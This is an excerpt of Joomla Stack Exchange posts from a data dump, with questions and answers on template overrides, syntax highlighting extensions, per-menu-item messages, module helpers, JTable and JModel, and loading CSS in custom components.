  <row Id="18810" PostTypeId="2" ParentId="18809" CreationDate="2017-01-10T13:13:46.777" Score="3" Body="&lt;p&gt;I have never had to do something like this before.&lt;br&gt;&#xA;However, I just had a somewhat awkward but certainly simple idea which could work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a template override for the article view in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/YOUR_TEMPLATE/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;default.php&lt;/code&gt;, just below the &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$time = strtotime(&quot;-5 years&quot;, time());&#xA;$date = date(&quot;Y-m-d&quot;, $time);&#xA;&#xA;&#xA;if ($this-&amp;gt;item-&amp;gt;created &amp;lt; $date) {&#xA;    JError::raiseError(410, &quot;This page isn't available any more and will never be available again in the future&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this does is that it compares if the article created date is older than 5 years. If so, it will raise the system error page of joomla with 410 status code and message: &quot;This page isn't available any more and will never be available again in the future&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test this somewhere before doing anything on your live website.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-04-04T06:35:00.437" LastActivityDate="2017-04-04T06:35:00.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18812" PostTypeId="1" CreationDate="2017-01-11T08:03:54.417" Score="2" ViewCount="1300" Body="&lt;p&gt;What is Best syntax highlighter for Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Geshi is not working fine in my site.&lt;br&gt;&#xA;How to integrate this style of syntax in Joomla 3 site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://alexgorbatchev.com/SyntaxHighlighter/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9534" LastEditorUserId="126" LastEditDate="2017-01-14T14:17:52.173" LastActivityDate="2021-11-10T08:44:07.683" Title="How to create a syntax highlighter for Joomla" Tags="|joomla-3.x|editor|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18815" PostTypeId="1" CreationDate="2017-01-11T11:12:27.070" Score="1" ViewCount="48" Body="&lt;p&gt;One of my clients wants to display a message for SEO purposes on each page (menu item) and I know this can be easily solved with several modules of the type &quot;custom html&quot; each one assigned to its corresponding menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they have a lot of menu items meaning equal number of modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is an easy way to do it and I have two ideas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Have an extra field in the menu item to add the text and develop a module that read that extra field and render it in the page.&#xA;I can develop the module but I don´t know how to add an extra field in the menu item form without using overrides. ¿is there a way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Develop a module that allow you to choose menu item and message in a repeteable form.&#xA;I can program this but I would like to ask if someone knows of a module that have this fucntion so I can spare the programming (I already search the JED)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2017-01-11T22:00:58.483" Title="Custom message by menu item" Tags="|joomla-3.x|development|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18816" PostTypeId="2" ParentId="18815" CreationDate="2017-01-11T13:17:14.687" Score="3" Body="&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick way to do this is to install Regular Labs Sourcerer (or similar) and use a Custom HTML module with similar code to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;$app = JFactory::getApplication();&#xA;$itemid = $app-&amp;gt;input-&amp;gt;getCmd('Itemid', '');&#xA;switch ($itemid)&#xA;{&#xA;case '131':&#xA;  echo &quot;&amp;lt;p&amp;gt;Message 1&amp;lt;/p&amp;gt;&quot;;&#xA;  break;&#xA;case '132':&#xA;  echo &quot;&amp;lt;p&amp;gt;Message 2&amp;lt;/p&amp;gt;&quot;;&#xA;  break;&#xA;case '133':&#xA;  echo &quot;&amp;lt;p&amp;gt;Message 3&amp;lt;/p&amp;gt;&quot;;&#xA;  break;&#xA;default :&#xA;  echo &quot;&amp;lt;p&amp;gt;Message 4&amp;lt;/p&amp;gt;&quot;;&#xA;  break;&#xA;}&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enter menu IDs with the corresponding messages in a switch statement. You could include a default message in case you missed a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keywords meta data has little value these days (from an SEO perspective) so you could hijack this field for your own purposes by installing Regular Labs Sourcerer (or similar) and using a Custom HTML module with similar code to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;$doc = JFactory::getDocument();&#xA;$keywords = $doc-&amp;gt;getMetaData('keywords');&#xA;if ($keywords) {&#xA;  echo &quot;&amp;lt;p&amp;gt;&quot; . $keywords . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;  $doc-&amp;gt;setMetaData('keywords', '');&#xA;}&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-01-11T22:00:58.483" LastActivityDate="2017-01-11T22:00:58.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18817" PostTypeId="2" ParentId="18812" CreationDate="2017-01-11T13:27:10.040" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/632/120&quot;&gt;The Geshi code highlighter was removed from Joomla on or around Joomla 3.3&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few third party extensions in the &lt;a href=&quot;https://extensions.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Extensions Directory&lt;/a&gt; that can enable code highlighting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/cedhighlightjs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CedHighlightjs&lt;/a&gt; (free)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/easy-code-highlighter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy Code Highlighter&lt;/a&gt; (paid)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/script-code-highlighter&quot; rel=&quot;nofollow noreferrer&quot;&gt;Script Code Highlighter&lt;/a&gt; (free)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/jextbox-code-display&quot; rel=&quot;nofollow noreferrer&quot;&gt;JExtBOX Code Display&lt;/a&gt; (paid)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/edition/prism-syntax-highlighter-for-joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PRISM Syntax Highlighter for Joomla&lt;/a&gt; (free)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;Best&quot; is a little subjective given that you haven't specified any requirements or preferences. I recommend downloading and testing the free ones to see which of these most closely fits your requirements. If none of the free options are sufficient, then you may need to investigate the paid options.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-03-09T10:32:29.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18818" PostTypeId="2" ParentId="18608" CreationDate="2017-01-11T22:06:20.877" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/event-gallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Event Gallery&lt;/a&gt; is an attractive and robust Gallery which includes e-commerce features such as a shopping cart module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension is developed by photographer Sven Blüge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various layout options including a &quot;mosaic&quot; layout which does a great job of displaying portrait and landscape photos, that don't necessarily have consistent dimensions, together on the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a free and a paid version. The paid version includes a content plugin so that you can insert galleries into articles.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-02-11T06:31:10.403" LastActivityDate="2017-02-11T06:31:10.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18819" PostTypeId="2" ParentId="17871" CreationDate="2017-01-12T13:13:44.223" Score="1" Body="&lt;p&gt;I am not sure what you mean with the Multi-sites but 3 installations for 3 sites isn't considered a multi-sites scenario. Probably you have 1 Joomla website installed on the root of your hosting account and 2 more in subfolders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You haven't specified the conditions and how you are trying to link from the main site to the other 2, what's the purpose and how the links are generated and what is it if any the relationship of the linked sites/pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from what it seems, this is an external link from one website to another. You are leaving Main Joomla to go to another Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your link is of &lt;strong&gt;Non-SEF&lt;/strong&gt; format, then when you reach to the other websites the url will still be a &lt;strong&gt;Non-SEF&lt;/strong&gt; one, unless you have any redirections from the Non-SEF to the corresponding SEF one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you link like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/myJoomla2Site/index.php?option=com_content&amp;amp;view=article&amp;amp;id=123&amp;amp;Itemid=123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's exactly the URL you will end up on the other website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/sh404sef&quot; rel=&quot;nofollow noreferrer&quot;&gt;sh404SEF&lt;/a&gt;&lt;/strong&gt; (paid extension) could help as it auto-creates and auto-redirects all &lt;strong&gt;non-SEF URLs&lt;/strong&gt; to their &lt;strong&gt;SEF&lt;/strong&gt; versions. Note that &lt;strong&gt;sh404SEF&lt;/strong&gt; has to be installed on those sites that the Non-SEF should turn the SEF one - therefore on the site that you are linking to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use the J! core &lt;strong&gt;Redirect component&lt;/strong&gt; to manually make redirections - or redirect using the &lt;code&gt;.htaccess&lt;/code&gt; in the same fashion.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-19T17:16:54.697" LastActivityDate="2017-01-19T17:16:54.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18820" PostTypeId="1" CreationDate="2017-01-12T16:24:16.653" Score="3" ViewCount="298" Body="&lt;p&gt;I really like the native implementation of article rating. I want to display an overview of all the articles including the ratings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I can activate the 5 star rating view on the category-list but sadly it only displays the hits and author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="9521" LastEditorUserId="7867" LastEditDate="2017-01-12T22:09:15.090" LastActivityDate="2017-01-20T04:18:00.207" Title="Is There a Way to Display the Rating in the Category List?" Tags="|joomla-3.x|articles|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18821" PostTypeId="2" ParentId="15142" CreationDate="2017-01-12T18:46:03.827" Score="1" Body="&lt;p&gt;I was experiencing this recently with one of my modules in 3.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It didn't matter whether it was in a subfolder like 'en-GB' - what did matter was the name of the language folder itself. I'd originally misnamed it 'languages'; changing it to 'language' sorted it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the working XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&quot;language&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.mod_mymod.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.mod_mymod.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Very odd.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastActivityDate="2017-01-12T18:46:03.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18822" PostTypeId="2" ParentId="18725" CreationDate="2017-01-12T22:03:21.537" Score="1" Body="&lt;p&gt;Most likely the issue is that you haven't modified the tmp path and the log path in the &lt;code&gt;configuration.php&lt;/code&gt; file to reflect the new environment.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-01-12T22:03:21.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18823" PostTypeId="2" ParentId="18716" CreationDate="2017-01-12T22:06:00.133" Score="0" Body="&lt;p&gt;If you're running Joomla 3.x, then do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a &lt;code&gt;defines.php&lt;/code&gt; file at the main website directory.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following code to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php define('DS', '/'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should solve your problem...&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-01-12T22:06:00.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18824" PostTypeId="2" ParentId="9438" CreationDate="2017-01-12T22:20:19.287" Score="1" Body="&lt;p&gt;There are 2 possibilities for this scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The articles are there, but not displaying on the website.&lt;/li&gt;&#xA;&lt;li&gt;The articles were deleted from the database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First, you will need to check if the articles are still there, and you can easily verify that they're there by checking the backend or the &lt;code&gt;#__content&lt;/code&gt; table. If they're there, then they might not be displaying because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Their status is set to something other than public.&lt;/li&gt;&#xA;&lt;li&gt;There is a limit on how many articles are displayed on the homepage.&lt;/li&gt;&#xA;&lt;li&gt;Their publishing time has expired&lt;/li&gt;&#xA;&lt;li&gt;Their associated category was disabled (In most cases, this is the cause of the issue)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the articles are not there, then your best bet would be to revert to database backup that had these articles.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-01-12T22:20:19.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18825" PostTypeId="2" ParentId="9628" CreationDate="2017-01-12T22:37:04.583" Score="1" Body="&lt;p&gt;My answer won't directly answer your question, but will address the concerns of many. The Google PageSpeed Insights is a good tool - however, it is too good, and it requires perfection, which is very seldom achieved on real websites. Case in point: YouTube.com has a score of 54 for desktop, and is failing on mobile. Amazon.com has a score of 50 on mobile and 60 on desktop. Twitter.com has a score of 60 for mobile, and 37 for desktop. We are talking about 3 super major websites here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google.com gets a score of a 100, but that is because it is returning a 503 error to the tool, and is asking for a verification code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not saying that one should completely ignore the score and the advices of Google PageSpeed Insights, but what I recommend is that people shouldn't take it extremely seriously. A score of 80 (even 70) is good, as score of 85 is wow. If you're at the point where you are breaking your website just to make sure you have a good score, then maybe you have gone too far...&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2017-02-14T07:00:34.017" LastActivityDate="2017-02-14T07:00:34.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18826" PostTypeId="2" ParentId="9438" CreationDate="2017-01-12T22:54:35.337" Score="1" Body="&lt;p&gt;Could some of the articles have been archived either manually or automatically via a plugin such as &lt;a href=&quot;https://extensions.joomla.org/extension/autoarchive&quot; rel=&quot;nofollow noreferrer&quot;&gt;AutoArchive&lt;/a&gt; or similar?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-01-12T22:54:35.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18829" PostTypeId="2" ParentId="18726" CreationDate="2017-01-13T06:31:20.980" Score="1" Body="&lt;p&gt;Although I accepted Neil's answer, I found an easier method to do this. But my method may not appeal to many since it requires changing XML files of default Joomla installation. Perhaps there's a way to write a custom XML to override the settings selectively in the default XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article form settings are available in these files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_content/models/forms/article.xml (backend)&#xA;components/com_content/models/forms/article.xml (frontend)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To the &lt;code&gt;version_note&lt;/code&gt; field, I added an extra attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;required=&quot;true&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though not directly relevant to the question, I would like to add that only the form settings are in XML. Global article options themselves are stored in the &lt;code&gt;#_extensions&lt;/code&gt; database table in &lt;code&gt;params&lt;/code&gt; column for &lt;code&gt;name='com_content'&lt;/code&gt;. For versioning, applicable fields are &lt;code&gt;save_history&lt;/code&gt; and &lt;code&gt;history_limit&lt;/code&gt;. In addition, every article can override the global options but versioning is one of those features for which article-level overriding is not possible.&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2017-01-13T06:31:20.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18832" PostTypeId="1" AcceptedAnswerId="18833" CreationDate="2017-01-13T10:20:03.800" Score="0" ViewCount="376" Body="&lt;p&gt;I have a custom Joomla module. In the &lt;code&gt;helper.php&lt;/code&gt; class, I need to pass XML field data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class modcatbanerHelper {&#xA;&#xA;    // I need to pass here &#xA;    public $selected_cat = $params-&amp;gt;get('title');&#xA;&#xA;    public static function moduleCats($data)&#xA;    {&#xA;       #or pass here...&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9029" LastEditorUserId="126" LastEditDate="2017-01-14T14:57:12.333" LastActivityDate="2021-09-28T03:23:26.500" Title="Pass xml field inside module's helper class" Tags="|joomla-3.x|joomla-2.5|development|module|custom-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18833" PostTypeId="2" ParentId="18832" CreationDate="2017-01-13T10:42:48.390" Score="0" Body="&lt;p&gt;You can pass in your helper's methods the &lt;code&gt;$params&lt;/code&gt; as a parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function moduleCats($params)&#xA;{&#xA;   $title = $params-&amp;gt;get('title');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you call the method from your &lt;code&gt;mod_module.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;modcatbanerHelper::moduleCats($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-13T10:42:48.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18834" PostTypeId="2" ParentId="18625" CreationDate="2017-01-13T11:22:50.607" Score="3" Body="&lt;p&gt;Class &lt;code&gt;JTable&lt;/code&gt; is created to work strictly on database object. Table object should create,modify,delete,check data in database. It can be used in many models, helpers, modules. Single model some times have to use multiple tables and it can happen in many models. If you use &lt;code&gt;JTable&lt;/code&gt; you don't have to rewrite SQL in every model just to retrieve or modify a single table record. Not to mention that changes in a &lt;code&gt;JTable&lt;/code&gt; work in every place where table was used.&lt;/p&gt;&#xA;&lt;p&gt;Class &lt;code&gt;JModel&lt;/code&gt; is created to work on data. Usually it works on database data but also files, images or simply calculations. Models don't require a &lt;code&gt;JTable&lt;/code&gt;, you can easly write a working &lt;code&gt;JModel&lt;/code&gt; without it. But when you have to create for example a user account on a complex portal it is possible user data will consist not only of a single table but also example data or records in other tables. Using &lt;code&gt;JTable&lt;/code&gt; will allow you to save time on writing CRUD methods and make sure that in every place a single table is used SQL will always be up-to-date.&lt;/p&gt;&#xA;&lt;p&gt;Having those two separated allows developer to create various extensions that are not tied strictly to database. For example gallery that in model will not only work on database object but also images. Developer does write image processing code and leaves SQL for creating and updating database to &lt;code&gt;JTable&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It can be a bit confusing at the beginning but after few extension you'll see that it is actually helpful. The bigger the extension the more time &lt;code&gt;JTable&lt;/code&gt;+&lt;code&gt;JModel&lt;/code&gt; will save for developer. The only problem is that it isn't properly explained in documentation.&lt;/p&gt;&#xA;&lt;h3&gt;Here are some useful links&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_the_JTable_class&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using the JTable class&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-05-15T11:58:39.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18835" PostTypeId="1" AcceptedAnswerId="18836" CreationDate="2017-01-13T12:06:01.083" Score="3" ViewCount="392" Body="&lt;p&gt;I've created a custom component with a dashboard that needs styling with CSS. I've created the CSS file and I'm looking at calling for it in the frontend view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with J! 3.6.5 and a &lt;code&gt;MVC&lt;/code&gt; developed component obviously I'm confident that I need to place the following code in an appropriate place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', 'com_mycomponent/css/dashboard.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My best guess was to put it between the &quot;&lt;code&gt;public function display&lt;/code&gt;&quot; lines in my &quot;&lt;code&gt;view.html.php&lt;/code&gt;&quot; file. However, this does not working so I'm doing it wrong.&lt;/p&gt;&#xA;" OwnerUserId="9547" LastEditorUserId="9182" LastEditDate="2017-01-14T23:20:28.027" LastActivityDate="2017-01-14T23:20:28.027" Title="Where to call for CSS/JS in custom component for frontend views" Tags="|joomla-3.x|javascript|css|best-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18836" PostTypeId="2" ParentId="18835" CreationDate="2017-01-13T12:08:16.553" Score="2" Body="&lt;p&gt;I'd suggest placing it in your view file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components/com_mycomponent/views/VIEW_NAME/tmpl/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that is anyone wishes to override your component views, they can, for example, remove your CSS file being referenced and use their own.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-01-13T12:08:16.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18837" PostTypeId="2" ParentId="16150" CreationDate="2017-01-13T13:10:53.277" Score="1" Body="&lt;p&gt;One possible workaround is to use the Featured Articles feature. You can set your articles as featured from any kind of category and then use a Featured Articles menu item to display with your desired featured articles order.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-13T13:10:53.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18838" PostTypeId="1" AcceptedAnswerId="18839" CreationDate="2017-01-13T14:29:35.623" Score="0" ViewCount="531" Body="&lt;p&gt;I have customised a small text rotator using Jquery which I wish to use to rotate phones numbers in a module.It can be found here: &lt;a href=&quot;http://jsfiddle.net/tovic/xaqgn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsfiddle.net/tovic/xaqgn/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried embedding the function in the module itself using Regular labs Sourcerer but that did not work, the code just showed up in the module position. I have then cretaed a custom JS file and pasted the function into, but that doesn't work either. The text just sits as a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what else to do/try. I haven't had to do this before, so any advice as to what i am doing wrong would be most appreciated.&#xA;Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="126" LastEditDate="2017-01-14T12:06:47.207" LastActivityDate="2017-01-28T05:22:44.270" Title="Using a JQuery function in a module?" Tags="|joomla-3.x|module|plugin|jquery|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18839" PostTypeId="2" ParentId="18838" CreationDate="2017-01-13T15:55:58.350" Score="1" Body="&lt;p&gt;I will try to answer - but I have questions as well.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I wish to use to rotate phones numbers in a module&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do you mean a custom module that you are developing, or using the custom html module that comes with Joomla?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have tried embedding the function in the module itself using Regular&#xA;  labs Sourcerer but that did not work, the code just showed up in the&#xA;  module position.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This looks like it answers my above question - but still please clarify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now when you use a plugin's syntax inside Joomla content, and you are seeing the syntax, then likely the plugin isn't running.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sometimes this can also be caused by the editor if you are trying to write code in your content, which might have strip tags, resulting to text representation of the code.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you are using a custom html module, you need to make sure you have enabled the option in the module to run Joomla plugins.&#xA;This can be found in the Options Tab of the custom html module and it's the Prepare Content Plugin.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have then cretaed a custom JS file and pasted the function into,&#xA;  but that doesn't work either. The text just sits as a list.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's not very clear explanation of what you have tried to do - so I can't advise much on this.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-28T05:22:44.270" LastActivityDate="2017-01-28T05:22:44.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18841" PostTypeId="1" CreationDate="2017-01-13T19:56:25.573" Score="2" ViewCount="285" Body="&lt;p&gt;Ok, so I've created a custom component that should provide a dashboard to users of the site. A critical piece of information on it, is the latest Joomla version according to Joomla. So if I would check it now I would retrieve version 3.6.5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've understood that I'm able to retrieve this through the Joomla API. I know shares developers information through a dedicated API but I'm not sure on how to get this piece of data specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who has experience with this. The Joomla documentation is a little thin on this, or is it just me?&lt;/p&gt;&#xA;" OwnerUserId="9547" LastEditorUserId="126" LastEditDate="2017-01-14T14:04:38.513" LastActivityDate="2017-01-20T04:08:06.987" Title="How to get latest Joomla version from Joomla API into custom component" Tags="|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
